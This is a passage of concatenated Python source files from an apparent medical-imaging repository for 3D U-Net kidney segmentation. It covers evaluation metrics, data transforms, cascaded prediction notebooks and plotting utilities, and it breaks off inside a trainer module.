this.happiness = happiness || MaxParam;
this.luck = luck || MaxParam;
this.life = life || MaxParam;
this.operability = operability || MaxParam;
this.hunger = hunger || MinParam;
this.age = age || MinParam;
this.control = function (){
if (this.health < 1 || this.age >=MaxAge || this.hunger < 0 || this.life < 1){
this.dead();
}
if ((this.happiness < 1) || (this.luck<1 && this.operability > 2)){
this.missing();
}
if (this.hunger < MaxParam/2) {this.eat();}
if (this.operability > MaxParam/2) {this.training();}
else if (!this.operability <1 ) {this.walk()}
else {this.dream();}
if ((this.happiness> MaxParam/2 || this.luck >MaxParam/2)&&(this.health >0)){this.game()}
}
this.dead = function(){
console.log(this.nickname + ' is dead :(( '+ this.age);
}
this.missing = function(){
console.log(this.nickname + ' is missing :(( '+ this.age);
}
this.walk = function(){
console.log(this.nickname + ' is walk :(( '+ this.age);
this.health++;
this.happiness++;
this.luck++;
this.life++;
this.operability--;
this.hunger++;
}
this.training = function(){
console.log(this.nickname + ' is training :(( '+ this.age);
this.health--;
this.happiness--;
this.luck += 2;
this.life--;
this.operability -= 2;
this.hunger += 2;
}
this.eat = function(){
console.log(this.nickname + ' is eating :(( '+ this.age);
this.health++;
this.happiness++;
this.luck -= 2;
this.life++;
this.operability++;
this.hunger -= 2;
}
this.dream = function(){
console.log(this.nickname + ' is dreaming :(( '+ this.age);
this.health++;
this.happiness++;
this.luck++;
this.life++;
this.operability++;
this.hunger++;
}
this.game = function(){
console.log(this.nickname + ' is gameing :(( '+ this.age);
this.health++;
this.happiness++;
this.luck++;
this.life++;
this.operability--;
this.hunger++;
}
}
var Doggy = new Tam('Westik');
/*Vasya.shout('Ky');
Vasya.shout('Ka');
Vasya.shout('Ri');
Vasya.shout('Ky');
console.log('Vasya.getShoutTimes', Vasya.getShoutTimes());
var Petya = new Person('Petya', 'Peshkin');
console.log('Petya.getShoutTimes', Petya.getShoutTimes());*/<file_sep>/**
* Created by andrew on 10.11.16.
*/
var heightRocks = [2,1,5,0,3,4,7,2,3,1,0];
function calculate(heightRocks){
console.log("Height rocks: "+heightRocks);
var maxHead =heightRocks.shift(), maxTail = heightRocks.pop(), rez = 0;
while (heightRocks.length >0) {
var nextHead = (heightRocks.shift());
var nextTail = (heightRocks.pop());
if (nextHead === undefined) nextHead = maxHead;
if (nextTail === undefined) nextTail = maxTail;
if (nextHead>maxHead){
maxHead = nextHead;
}else{
rez +=maxHead -nextHead;
}
if (nextTail>maxTail){
maxTail = nextTail;
}else{
rez +=maxTail -nextTail;
}
console.log("rez: "+rez);
}
return rez;
}
console.log(calculate(heightRocks));
<file_sep>/**
* Created by andrew on 25.10.16.
*/
var testArr = ['a', 'b', 'c', 4, 5, 6];
var myObject = new Object();
myObject = {
0: "a",
1: "b",
2: "c",
length: 3
}
console.log("******* par.1 Create {push, pop, slice, join, reverse} ********");
//Primer 1 (Pop)
var myPop = function () {
var l = this.length;
if (!l){
console.log('Dont array!!!');
return undefined;
};
if (l < 1) {return undefined;};
var rez = this[l - 1];
delete this[l -1];
--this.length;
return rez;
}
console.log("******* 1_a: Pop ********");
console.log("The initial value of Array (testArr):");
console.log(testArr.toString());
myObject.myPop = myPop;
console.log("myObject.myPop.call(testArr):");
rez = myObject.myPop.call(testArr);
console.log(rez.toString());
console.log(testArr.toString());
Array.prototype.pop = myPop;
rez = testArr.pop();
console.log("testArr.pop():");
console.log(rez.toString());
console.log(testArr.toString());
//Primer 2 (Push)
var myPush = function () {
if(!this.length){this.length = 0;}
var l = this.length;
for (i=0; i<arguments.length; i++,l++ ) {
this[l] = arguments[i];
}
return this.length = l;
}
console.log("******* 1_b: Push *******");
console.log("The initial value of Array (testArr):");
console.log(testArr.toString());
myObject.myPush = myPush;
console.log("myObject.myPush.call(testArr,7,8,100):");
rez = myObject.myPush.call(testArr,7,8,100);
console.log(rez.toString());
console.log(testArr.toString());
Array.prototype.push = myPush;
testArr.push('predEnd','end');
console.log("testArr.push(predEnd,end)");
console.log(testArr.toString());
//Primer 3 (Slice)
var mySlice = function (begin,end) {
if (!begin) begin = 0;
if (!end) end = this.length;
if (begin<0) begin += this.length;
if (end<0) end += this.length;
var arr = [];
for (i=0; begin < end; i++, begin++) {
arr[i] = this[begin];
}
return arr;
}
console.log("******* 1_c: Slice *******");
console.log("The initial value of Array (testArr):");
console.log(testArr.toString());
myObject.mySlice = mySlice;
console.log("rez = myObject.mySlice.call(testArr,1,5):");
rez = myObject.mySlice.call(testArr,1,5);
console.log(rez.toString());
console.log(testArr.toString());
Array.prototype.slice = mySlice;
console.log("testArr.slice():");
rez = testArr.slice();
console.log(rez.toString());
console.log(testArr.toString());
//Primer 4 (Join)
var myJoin = function(tsep) {
if(!this.length) return "";
if(tsep == undefined ) tsep = ',';
var str = this[0];
for (i=1; i<this.length; i++){
str = str + tsep + this[i];
}
return str;
}
console.log("******* 1_d: Join *******");
console.log("The initial value of Array (testArr):");
console.log(testArr.toString());
myObject.myJoin = myJoin;
rez = myObject.myJoin.call(testArr, "; ");
console.log("rez = myObject.myJoin.call(testArr, ; ):");
console.log(rez.toString());
Array.prototype.join= myJoin
console.log("testArr.join():");
rez = testArr.join();
console.log(rez.toString());
console.log(testArr.toString());
//Primer 5 (Reverse)
var myReverse = function() {
if(!this.length) return "";
for (i=0,z=this.length-1; i<z; i++, z--){
temp = this[i];
this[i] = this[z];
this[z] = temp;
}
return this;
}
console.log("******* 1_e: Reverse *******");
console.log("The initial value of Array (testArr):");
console.log(testArr.toString());
myObject.myReverse = myReverse;
myObject.myReverse.call(testArr);
console.log("myObject.myReverse.call(testArr):");
console.log(testArr.toString());
Array.prototype.reverse = myReverse;
testArr.reverse();
console.log("testArr.reverse():");
console.log(testArr);
console.log("******* par.2 ( x.sum(y) === x + y ) ********");
function mySum(int) {
return this + +int;
}
Number.prototype.sum = mySum;
console.log("25 .sum(25) = ");
console.log(25 .sum(25)); // or console.log(Number('25').sum(25));<file_sep>/**
* Created by andrew on 27.10.16.
*/
//by stack overflow protection
var max_call_i = 300;
var kolCyclov = 10000;
console.log('******* P1_1 Factorial *******');
var pf = 15;
console.log('factorial('+pf+'):');
console.log(factorial(pf));
console.log(inputElapsedTime('factorial',[pf],kolCyclov));
console.log('factorial_cycle('+pf+'):');
console.log(factorial_cycle(pf));
console.log(inputElapsedTime('factorial_cycle',[pf],kolCyclov));
console.log('');
console.log('******* P1_2 Power *******');
var pp1 = 2, pp2 = 4;
console.log('pow('+pp1+','+pp2+'):');
console.log(pow(pp1,pp2));
console.log(inputElapsedTime('pow',[pp1,pp2],kolCyclov));
console.log('pow_cycle('+pp1+','+pp2+'):');
console.log(pow_cycle(pp1,pp2));
console.log(inputElapsedTime('pow_cycle',[pp1,pp2],kolCyclov));
console.log('');
console.log('******* P1_3 Sum of numbers *******');
var psn = 1549;
console.log('sumNum('+psn+'):');
console.log(sumNum(psn));
console.log(inputElapsedTime('sumNum',[psn],kolCyclov));
console.log('sumNum_cycle('+psn+'):');
console.log(sumNum_cycle(psn));
console.log(inputElapsedTime('sumNum_cycle',[psn],kolCyclov));
console.log('');
console.log('******* P1_4 Arithmetical progression *******');
var pap = 20;
console.log('sumTo_rec('+pap+'):');
console.log(sumTo_rec(pap));
console.log(inputElapsedTime('sumTo_rec',[pap],kolCyclov));
console.log('sumTo_cycle('+pap+'):');
console.log(sumTo_cycle(pap));
console.log(inputElapsedTime('sumTo_cycle',[pap],kolCyclov));
console.log('arithProg('+pap+'):');
console.log(arithProg(pap));
console.log(inputElapsedTime('arithProg',[pap],kolCyclov));
console.log('');
console.log('******* P1_5 Fibonacci numbers *******');
var pfn = 7;
console.log('fib_rec('+pfn+'):');
console.log(fib_rec(pfn));
console.log(inputElapsedTime('fib_rec',[pfn],kolCyclov));
console.log('fib_cycle('+pfn+'):');
console.log(fib_cycle(pfn));
console.log(inputElapsedTime('fib_cycle',[pfn],kolCyclov));
//***** FACTORIAL
function factorial(num) {
if(!num) return 1;
if (num > 1) {return num*factorial(--num);
} else return num;
}
function factorial_cycle(num) {
var rez = 1;
//if(!num) return 1;
while(num > 1) {
rez *= num;
--num;
}
return rez;
}
//***** POWER
function pow(num,p) {
if (p === 0 && num === 0) return NaN;
if (p === 0) return 1;
if ( p > 1 ) {
return num * pow(num, --p);
} else return num;
}
function pow_cycle(num,p) {
var rez = 1;
if (p === 0 && num === 0) return NaN;
while ( p > 0) {
rez *= num;
--p;
}
return rez;
}
//***** SUMANum
function sumNum(num) {
if (num >= 1) {return (num % 10)+sumNum(Math.floor(num/10));
}else return num;
}
function sumNum_cycle(num) {
var rez = 0;
while(num >= 1) {
rez += (num % 10);
num = Math.floor(num/10);
}
return rez;
}
//***** sumTo_Cycle
function sumTo_cycle(num) {
var rez = 0;
for (i=1; num >= i; i++) {
rez += i;
}
return rez;
}
//***** sumTo_Rec
function sumTo_rec(num) {
if (num > 0) {return num + sumTo_rec(--num);
}else return num;
}
//***** Arithmetical progression
function arithProg(num,start,d) {
if(!start) start = 1;
if(!d) d = 1;
return (2*start + d*(num-1))/2*num;
}
//***** Fibonacci numbers Recursion
function fib_rec(num) {
if (num > 1){return fib_rec(num-1)+fib_rec(num-2)
} else return num;
}
//***** Fibonacci numbers Cycle
function fib_cycle(num) {
var a1 = 1, a2 = 1, rez = 1;
for(i = 3; num >= i; i++){
rez = a1 + a2;
a1 = a2;
a2 = rez;
}
return rez;
}
function inputElapsedTime(name,par,cyc){
var start = new Date;
for(var i=0; i<cyc; i++){
this[name].apply(null,par);
}
var end = new Date;
//return end - start;
return 'Time elapsed for '+name+' '+cyc+' cycles:'+(end - start)+' ms';
}<file_sep># asaljakin.github.io<file_sep>'use strict';
/**
* Красивый год
*
* А знали ли Вы забавный факт о том, что 2013 год является первым годом после далекого 1987 года,
* в котором все цифры различны?
*
* Теперь же Вам предлагается решить следующую задачу: задан номер года, найдите наименьший номер года,
* который строго больше заданного и в котором все цифры различны.
*
* Входные данные
* В единственной строке задано целое число y (1000 ≤ y ≤ 9000) — номер года.
*
* Выходные данные
* Выведите единственное целое число — минимальный номер года, который строго больше y, в котором все цифры различны.
* Гарантируется, что ответ существует.
*/
var prettyYearTests = [
{
parameters: ["1987"],
expectedResult: 2013
},
{
parameters: ["2013"],
expectedResult: 2014
},
{
parameters: ["8796"],
expectedResult: 8901
}
];
function prettyYear(y) {
var rez = Number(y);
var doStep = true;
while (doStep|| rez <10000) {
rez++;
var str = String(rez);
for (var i=0; i<str.length; i++) {
if (str.search(str[i]) != -1) {
}
doStep = false;
}
}
return rez;
}
tasks.push({
title: "Красивый год",
solution: prettyYear,
tests: prettyYearTests
});
| 29efa31f05df06fe6ca0885c975f3e98ed14a73c | [
"JavaScript",
"Markdown"
] | 8 | JavaScript | asaljakin/asaljakin.github.io | f87705e5b8ae63e1fd34d51b69dded49522413c3 | 7f925c494699c49374d3a1338b71cd191004ef7f |
refs/heads/master | <repo_name>MathieuAngibaud/travis_test<file_sep>/index.js
console.log("début");
function square(nb) {
return nb*nb;
}
console.log(square(6)); | 72483c65c8ad39798f29004ce71afcb44c71f758 | [
"JavaScript"
] | 1 | JavaScript | MathieuAngibaud/travis_test | 392f857686c2cb26ce6e7ad6a521be0feb30f47a | 3b950eea3013efe840e9bef0af08806689da931c |
refs/heads/main | <repo_name>khangduy017/OOP---team-9<file_sep>/testGH/text/Source.cpp
#include<iostream>
using namespace std;
/*int main() {
int a = 10, b = 100;
int* p = &a;
int** q = &p;
cout << a << endl;
cout << &a << endl;
cout << p << endl;
cout << *p << endl;
cout << &p << endl;
cout << q << endl;
cout << **q << endl;
return 0;
}
int main() {
int vl1 = 5, vl2 = 10;
int* p1, * p2;
p1 = &vl1;
p2 = &vl2;
*p1 = 15;
*p2 = *p1;
p1 = p2;
*p1 = 20;
cout << vl1 << endl;
cout << vl2;
cout << endl;
cout << sizeof(*p1);
return 0;
}*/
int main() {
int nb = 9;
int* p1 = &nb;
char* p2 = (char*)&nb;
double* p3 = (double*)&nb;
cout << sizeof(p1) << endl;
cout << sizeof(p2) << endl;
cout << sizeof(p3) << endl;
return 0;
}<file_sep>/Complex.cpp
#include <iostream>
#include <math.h>
using namespace std;
struct Complex {
double real, imag;
};
Complex Input() {
Complex a;
cout << "Real part = ";
cin >> a.real;
cout << "Imaginary part = ";
cin >> a.imag;
return a;
}
void Output(Complex a) {
cout << a.real;
if (a.imag == 0) return;
else if (a.imag > 0) cout << " + " << a.imag << "i";
else cout << " - " << -1 * a.imag << "i";
}
double Module(Complex a) { return sqrt(a.real * a.real + a.imag * a.imag); }
Complex Addition(Complex a, Complex b) {
return { a.real + b.real, a.imag + b.imag };
}
Complex Substraction(Complex a, Complex b) {
return { a.real - b.real, a.imag - b.imag };
}
Complex Multiplication(Complex a, Complex b) {
float realPart = a.real * b.real - a.imag * b.imag;
float imagPart = a.real * b.imag + b.real * a.imag;
return { realPart, imagPart };
}
Complex Division(Complex a, Complex b) {
double denominator = b.real * b.real + b.imag * b.imag;
double realPart = (a.real * b.real + a.imag * b.imag) / denominator;
double imagPart = (a.imag * b.real - b.imag * a.real) / denominator;
return { realPart, imagPart };
}
void Process() {
int choose;
Complex a, b;
while (1) {
cout << "1.Module\n2.Addition\n3.Substraction\n4.Multiplication\n5."
"Division\n0.Exit\nYour choose: ";
cin >> choose;
if (!choose)
break;
else if (choose == 1) {
a = Input();
cout << "\n|" << a.real << " + " << a.imag << "i| = ";
cout << Module(a);
cout << endl << endl;
}
else if (choose > 1 && choose < 6) {
cout << endl;
a = Input();
b = Input();
cout << endl;
if (choose == 2) {
Output(a); cout << " + "; Output(b); cout << " = ";
Output(Addition(a, b));
cout << endl << endl;
}
else if (choose == 3) {
cout << "("; Output(a); cout << ") - "; cout << "("; Output(b); cout << ") = ";
Output(Substraction(a, b));
cout << endl << endl;
}
else if (choose == 4) {
cout << "("; Output(a); cout << ") x "; cout << "("; Output(b); cout << ") = ";
Output(Multiplication(a, b));
cout << endl << endl;
}
else {
cout << "("; Output(a); cout << ") / "; cout << "("; Output(b); cout << ") = ";
Output(Division(a, b));
cout << endl << endl;
}
}
else
cout << "\nInvalid choose\n\n";
}
}
int main() {
Process();
return 0;
}<file_sep>/testGH/stack/Source.cpp
#include<iostream>
#include<stack>
using namespace std;
int main() {
stack<int> overflow;
overflow.push(2);
overflow.push(3);
overflow.push(5);
overflow.push(7);
overflow.pop();
cout << overflow.size();
cout << endl;
cout << overflow.top();
cout << endl;
}<file_sep>/testGH/Excercise 1.3/ex1/function1.cpp
#include"Header1.h"
void nhap(PhanSo& ps) {
cout << "Nhap vao tu so: ";
cin >> ps.tuso;
do
{
cout << "Nhap vao mau so: ";
cin >> ps.mauso;
if (ps.mauso == 0) cout << "Mau so khong hop le !\n";
} while (ps.mauso==0);
}
PhanSo nghichDao(PhanSo& ps) {
PhanSo nd;
nd.tuso = ps.mauso;
nd.mauso = ps.tuso;
return nd;
}
int gcd(int a, int b) {
while (a * b != 0) {
if (a > b) a %= b;
else b %= a;
}
return a + b;
}
void rutGonPs(PhanSo &ps) {
int uc = gcd(abs(ps.tuso), abs(ps.mauso));
if (ps.mauso < 0) {
ps.tuso *= -1;
ps.mauso *= -1;
}
ps.tuso /= uc;
ps.mauso /= uc;
}
void xuat(PhanSo ps) {
rutGonPs(ps);
if (ps.tuso == 0) cout << 0;
else if (ps.mauso == 1) cout << ps.tuso;
else if (ps.mauso == -1) cout << -1*ps.tuso;
else if (ps.mauso == 0) cout << "Phan so khong xac dinh !";
else cout << ps.tuso << "/" << ps.mauso;
}
PhanSo Cong(PhanSo ps1, PhanSo ps2) {
PhanSo kq;
kq.tuso = ps1.tuso * ps2.mauso + ps1.mauso * ps2.tuso;
kq.mauso = ps1.mauso * ps2.mauso;
return kq;
}
PhanSo Tru(PhanSo ps1, PhanSo ps2) {
PhanSo kq;
kq.tuso = ps1.tuso * ps2.mauso - ps1.mauso * ps2.tuso;
kq.mauso = ps1.mauso * ps2.mauso;
return kq;
}
PhanSo Nhan(PhanSo ps1, PhanSo ps2) {
PhanSo kq;
kq.tuso = ps1.tuso * ps2.tuso;
kq.mauso = ps1.mauso * ps2.mauso;
return kq;
}
PhanSo Chia(PhanSo ps1, PhanSo ps2) {
PhanSo kq;
kq.tuso = ps1.tuso * ps2.mauso;
kq.mauso = ps1.mauso * ps2.tuso;
return kq;
} | 61fe4f4b4417c27e58c0c0075105be6fbccc3194 | [
"C++"
] | 4 | C++ | khangduy017/OOP---team-9 | 578c887da6d8e7a8b85aed5cbe4a5988aece8528 | 8b0e52b5312445696e430868793062cc4c9ac20c |
refs/heads/master | <repo_name>icrdr/3D-UNet-Renal-Anatomy-Extraction<file_sep>/nb.py
# %%
import nibabel as nib
import numpy as np
import torch
from tqdm import tqdm
from pathlib import Path
from datetime import datetime
import csv
def evaluate_metrics(input, target, smooth=1e-7):
p = input.contiguous().view(-1)
g = target.contiguous().view(-1)
true_pos = (p * g).sum()
true_neg = ((1-p) * (1-g)).sum()
false_pos = (p * (1-g)).sum()
false_neg = ((1-p) * g).sum()
dsc = (true_pos + smooth)/(true_pos + 0.5*(false_neg + false_pos) + smooth)
sen = (true_pos + smooth) / (true_pos + false_neg + smooth)
spe = (true_neg + smooth) / (true_neg + false_pos + smooth)
acc = (true_pos + true_neg + smooth) / (true_pos+true_neg+false_neg+false_pos+smooth)
return {'dsc': dsc.item(),
'sen': sen.item(),
'spe': spe.item(),
'acc': acc.item()}
def evaluate_case(case):
num_classes = case['label'].max()
evaluate_result = []
for c in range(num_classes):
pred = np.array(case['pred'] == c+1).astype(np.float32)
label = np.array(case['label'] == c+1).astype(np.float32)
metrics = evaluate_metrics(torch.tensor(pred), torch.tensor(label))
evaluate_result.append(metrics)
return evaluate_result
def evaluate(label_file, pred_file):
label_nib = nib.load(str(label_file))
pred_nib = nib.load(str(pred_file))
case = {}
case['label'] = label_nib.get_fdata().astype(np.uint8)
case['pred'] = pred_nib.get_fdata().astype(np.uint8)
evaluate_result = evaluate_case(case)
return evaluate_result
def batch_evaluate(label_dir, pred_dir, save_dir='chart/', data_range=None):
label_dir = Path(label_dir)
pred_dir = Path(pred_dir)
save_dir = Path(save_dir)
if not save_dir.exists():
save_dir.mkdir(parents=True)
label_files = sorted(list(label_dir.glob('*.nii.gz')))
pred_files = sorted(list(pred_dir.glob('*.nii.gz')))
if data_range is None:
data_range = range(len(label_files))
evaluate_results = []
for i in tqdm(data_range):
evaluate_result = evaluate(label_files[i], pred_files[i])
evaluate_results.append(evaluate_result)
time = datetime.now().strftime("%y%m%d%H%M")
dsc_file = "%s-DSC.csv" % time
csv_file = save_dir / dsc_file
with open(csv_file, 'w', newline='', encoding="utf-8-sig") as csvfile:
csvWriter = csv.writer(csvfile, dialect='excel', quoting=csv.QUOTE_NONNUMERIC)
for evaluate_result in evaluate_results:
content = []
for result in evaluate_result:
content.append(result['dsc'])
csvWriter.writerow(content)
sen_file = "%s-SEN.csv" % time
csv_file = save_dir / sen_file
with open(csv_file, 'w', newline='', encoding="utf-8-sig") as csvfile:
csvWriter = csv.writer(csvfile, dialect='excel', quoting=csv.QUOTE_NONNUMERIC)
for evaluate_result in evaluate_results:
content = []
for result in evaluate_result:
content.append(result['sen'])
csvWriter.writerow(content)
spe_file = "%s-SPE.csv" % time
csv_file = save_dir / spe_file
with open(csv_file, 'w', newline='', encoding="utf-8-sig") as csvfile:
csvWriter = csv.writer(csvfile, dialect='excel', quoting=csv.QUOTE_NONNUMERIC)
for evaluate_result in evaluate_results:
content = []
for result in evaluate_result:
content.append(result['spe'])
csvWriter.writerow(content)
acc_file = "%s-ACC.csv" % time
csv_file = save_dir / acc_file
with open(csv_file, 'w', newline='', encoding="utf-8-sig") as csvfile:
csvWriter = csv.writer(csvfile, dialect='excel', quoting=csv.QUOTE_NONNUMERIC)
for evaluate_result in evaluate_results:
content = []
for result in evaluate_result:
content.append(result['acc'])
csvWriter.writerow(content)
label_dir = '/mnt/main/dataset/Task20_Kidney/labelsTr_vessel/'
pred_dir = '/mnt/main/dataset/Task20_Kidney/predictsTr_09_vessel/'
batch_evaluate(label_dir, pred_dir)
# %%
<file_sep>/nb_transform.py
# %%
from torchvision.transforms import Compose
from transform import Crop, resize, rescale, to_one_hot, RandomCrop, ToOnehot, ToNumpy, ToTensor, \
CombineLabels, RandomBrightness, RandomContrast, RandomGamma, RandomRescale, RandomRescaleCrop, \
RandomMirror, split_dim, to_tensor, to_numpy
from data import CaseDataset, apply_scale, get_spacing
import numpy as np
from visualize import case_plt
import matplotlib.pyplot as plt
from skimage import measure
import scipy.ndimage as ndi
# %%
def remove_small_region(input, threshold):
labels = measure.label(input)
label_areas = np.bincount(labels.ravel())
too_small_labels = label_areas < threshold
too_small_mask = too_small_labels[labels]
input[too_small_mask] = 0
return input
patch_size = (160, 160, 80)
composed = Compose([
# RandomRescale([1.2, 1.5]),
# RandomMirror((0.9, 0, 0)),
# RandomContrast(0.6),
# RandomBrightness(0.6),
# RandomGamma(0.6),
# CombineLabels([0, 2], 3),
# Crop(patch_size, enforce_label_indices=[1, 2], crop_mode='random'),
RemoveSmallRegion(1000),
])
dataset = CaseDataset('data/Task03_Liver/normalized', transform=composed)
sample = dataset[2]
image = sample['image']
label = sample['label']
# %%
case_plt(casev, slice_pct=0.4, axi=2)
# %%
plt.imshow(label[:, :, 50], vmin=0, vmax=2)
# %%
def rescale(input,
scale,
order=1,
mode='reflect',
cval=0,
is_label=False,
multi_class=False):
'''
A wrap of scipy.ndimage.zoom for label encoding data support.
Args:
See scipy.ndimage.zoom doc rescale for more detail.
is_label: If true, split label before rescale.
'''
dtype = input.dtype
if is_label:
num_classes = len(np.unique(input))
if order == 0 or not is_label or num_classes < 3:
if multi_class:
classes = to_tensor(input)
rescaled_classes = np.array([ndi.zoom(c.astype(np.float32),
scale,
order=order,
mode=mode,
cval=cval)
for c in classes])
return to_numpy(rescaled_classes).astype(dtype)
else:
return ndi.zoom(input.astype(np.float32),
scale,
order=order,
mode=mode,
cval=cval).astype(dtype)
else:
onehot = to_one_hot(input, num_classes, to_tensor=True)
rescaled_onehot = np.array([ndi.zoom(c.astype(np.float32),
scale,
order=order,
mode=mode,
cval=cval)
for c in onehot])
return np.argmax(rescaled_onehot, axis=0).astype(dtype)
def resample_normalize_case(case, target_spacing, normalize_stats):
'''
Reasmple image and label to target spacing, than normalize the image ndarray.
Args:
image: Image ndarray.
meta: Meta info of this image ndarray.
target_spacing: Target spacing for resample.
normalize_stats: Intesity statstics dict used for normalize.
{
'mean':
'std':
'pct_00_5':
'pct_99_5':
}
Return:
image: cropped image ndarray
label: cropped label ndarray
meta: add more meta info to the dict:
resampled_shape: Recased ndarray shape.
resampled_spacing: Recased ndarray spacing.
Example:
case = resample_normalize_case(case,
target_spacing=(1,1,3),
normalize_stats={
'mean':100,
'std':50,
'pct_00_5':-1024
'pct_99_5':1024
})
'''
case = case.copy()
if not isinstance(normalize_stats, list):
normalize_stats = [normalize_stats]
# resample
scale = (np.array(get_spacing(case['affine'])) / np.array(target_spacing))
image_arr = rescale(case['image'], scale, multi_class=True)
# normalize
image_arr_list = []
image_per_c = split_dim(image_arr)
for c, s in enumerate(normalize_stats):
mean = s['mean']
std = s['std']
pct_00_5 = s['pct_00_5']
pct_99_5 = s['pct_99_5']
cliped = np.clip(image_per_c[c], pct_00_5, pct_99_5)
image_arr_list.append((cliped-mean)/(std+1e-8))
case['image'] = np.stack(image_arr_list, axis=-1)
if 'label' in case:
case['label'] = rescale(case['label'], scale, is_label=True)
case['affine'] = apply_scale(case['affine'], 1 / scale)
return case
cases = CaseDataset('data/Task00_Kidney/region_crop')
case = cases[18]
print(case['case_id'])
# %%
target_spacing = (0.78125, 0.78125, 1)
casev = case.copy()
scale = (np.array(get_spacing(case['affine'])) / np.array(target_spacing))
casev['label'] = rescale(casev['label'], scale, is_label=True)
# %%
<file_sep>/nb_post_iia.py
# %%
from skimage.color import label2rgb
from tqdm import tqdm
import nibabel as nib
from pathlib import Path
from visualize import case_plt
from trainer import predict_case, cascade_predict_case, cascade_predict, evaluate_case, \
batch_evaluate, batch_cascade_predict
from data import CaseDataset, save_pred, save_case
from network import ResUnet3D, ResAttrUnet3D, ResAttrBNUnet3D
import torch
import numpy as np
import matplotlib.pyplot as plt
import scipy.ndimage as ndi
from transform import remove_small_region
ckpt1 = torch.load('logs/Task00_Kidney/kd-2004070628-epoch=54.pt')
ckpt2 = torch.load('logs/DOC/iia-H-09-last.pt')
coarse_model = ResAttrUnet3D(out_channels=1).cuda()
detail_model = ResUnet3D(out_channels=4).cuda()
coarse_model.load_state_dict(ckpt1['model_state_dict'])
detail_model.load_state_dict(ckpt2['model_state_dict'])
normalize_stats1 = {"mean": 100.23331451416016,
"std": 76.66192626953125,
"pct_00_5": -79.0,
"pct_99_5": 303.0}
normalize_stats2 = {'median': 125.0,
'mean': 118.8569564819336,
'std': 60.496273040771484,
'pct_00_5': -28.0,
'pct_99_5': 255.0}
# %%
cases = CaseDataset('data/Task00_Kidney/crop')
case = cascade_predict_case(cases[149],
coarse_model=coarse_model,
coarse_target_spacing=(2.4, 2.4, 3),
coarse_normalize_stats=normalize_stats1,
coarse_patch_size=(144, 144, 96),
detail_model=detail_model,
detail_target_spacing=(0.7, 0.7, 1),
detail_normalize_stats=normalize_stats2,
detail_patch_size=(128, 128, 128),
num_classes=4)
# %%
image_file = '/mnt/main/dataset/Task20_Kidney/imagesTs/0659212.nii.gz'
# image_file = '/mnt/main/dataset/Task20_Kidney/image2.nii.gz'
label_file = None
# image_file = '/mnt/main/dataset/Task00_Kidney/imagesTr/case_00005.nii.gz'
# label_file = '/mnt/main/dataset/Task00_Kidney/labelsTr/case_00005.nii.gz'
case = cascade_predict(image_file=image_file,
label_file=label_file,
coarse_model=coarse_model,
coarse_target_spacing=(2.4, 2.4, 3),
coarse_normalize_stats=normalize_stats1,
coarse_patch_size=(144, 144, 96),
detail_model=detail_model,
detail_target_spacing=(0.7, 0.7, 1),
detail_normalize_stats=normalize_stats2,
detail_patch_size=(128, 128, 128),
num_classes=4)
# %%
cases = CaseDataset('data/Task00_Kidney/region_crop')
case = predict_case(cases[197],
model=detail_model,
target_spacing=(1, 1, 1),
normalize_stats=normalize_stats2,
patch_size=(96, 96, 144),
num_classes=4)
# %%
evaluate_case(case)
# %%
case_plt(case, slice_pct=0.5, axi=2)
# %%
save_case(case, './')
# %%
image_dir = '/mnt/main/dataset/Task20_Kidney/imagesTr'
test_dir = '/mnt/main/dataset/Task20_Kidney/imagesTs'
pred_dir = '/mnt/main/dataset/Task20_Kidney/predictsTr_09_kidney'
batch_cascade_predict(image_dir,
pred_dir,
coarse_model=coarse_model,
coarse_target_spacing=(2.4, 2.4, 3),
coarse_normalize_stats=normalize_stats1,
coarse_patch_size=(144, 144, 96),
detail_model=detail_model,
detail_target_spacing=(0.7, 0.7, 1.0),
detail_normalize_stats=normalize_stats2,
detail_patch_size=(128, 128, 128),
num_classes=4)
# %%
case = CaseDataset('data/Task20_Kidney/region_norm_kidney')[10]
image = case['image'][:, :, 50, 0]/3+1
label_image = case['label'][:, :, 50]
image_label_overlay = label2rgb(label_image, image=image)
plt.imshow(image_label_overlay)
# %%
print(case['pred'].max())
# %%
<file_sep>/visualize.py
import matplotlib.pyplot as plt
import numpy as np
def grid_plt(grid_list, value_ranges=None):
rows = len(grid_list)
cols = len(grid_list[0])
plt.figure(figsize=(cols*4, rows*4))
for i in range(rows):
for j in range(cols):
plt.subplot(rows, cols, cols*i + j + 1)
if value_ranges:
plt.imshow(grid_list[i][j],
vmin=value_ranges[j][0],
vmax=value_ranges[j][1])
else:
plt.imshow(grid_list[i][j])
plt.axis('off')
plt.tight_layout()
plt.show()
def case_plt(case, slice_pct=0.5, axi=0, one_hot_label=False, one_hot_pred=False):
image = case['image']
label = case['label'] if'label' in case else None
pred = case['pred'] if'pred' in case else None
slice_index = round(image.shape[axi]*slice_pct)
grid_list = []
value_ranges = []
for c in range(image.shape[-1]):
if axi == 0:
grid_list.append(image[slice_index, :, :, c])
elif axi == 1:
grid_list.append(image[:, slice_index, :, c])
else:
grid_list.append(image[:, :, slice_index, c])
value_ranges.append([np.percentile(image, 00.5),
np.percentile(image, 99.5)])
if label is not None:
if one_hot_label:
for c in range(label.shape[-1]):
if axi == 0:
grid_list.append(label[slice_index, :, :, c])
elif axi == 1:
grid_list.append(label[:, slice_index, :, c])
else:
grid_list.append(label[:, :, slice_index, c])
value_ranges.append([0, 1])
else:
if axi == 0:
grid_list.append(label[slice_index, :, :])
elif axi == 1:
grid_list.append(label[:, slice_index, :])
else:
grid_list.append(label[:, :, slice_index])
value_ranges.append([label.min(), label.max()])
if pred is not None:
if one_hot_pred:
for c in range(label.shape[-1]):
if axi == 0:
grid_list.append(pred[slice_index, :, :, c])
elif axi == 1:
grid_list.append(pred[:, slice_index, :, c])
else:
grid_list.append(pred[:, :, slice_index, c])
value_ranges.append([0, 1])
else:
if axi == 0:
grid_list.append(pred[slice_index, :, :])
elif axi == 1:
grid_list.append(pred[:, slice_index, :])
else:
grid_list.append(pred[:, :, slice_index])
value_ranges.append([pred.min(), pred.max()])
grid_plt([grid_list], value_ranges=value_ranges)
<file_sep>/trainer.py
import torch
from torch.optim import lr_scheduler
from tqdm import tqdm
from torchsummary import summary
from torch.utils.tensorboard import SummaryWriter
from apex import amp
from loss import dice
from pathlib import Path
from data import CaseDataset, load_case, save_pred, \
orient_crop_case, regions_crop_case, resample_normalize_case
import nibabel as nib
import numpy as np
import scipy.special as spe
from transform import pad, crop_pad, to_numpy, to_tensor, resize
def predict_per_patch(input,
model,
num_classes=3,
patch_size=(96, 96, 96),
step_per_patch=4,
verbose=True,
one_hot=False):
device = next(model.parameters()).device
# add padding if patch is larger than input shape
origial_shape = input.shape[:3]
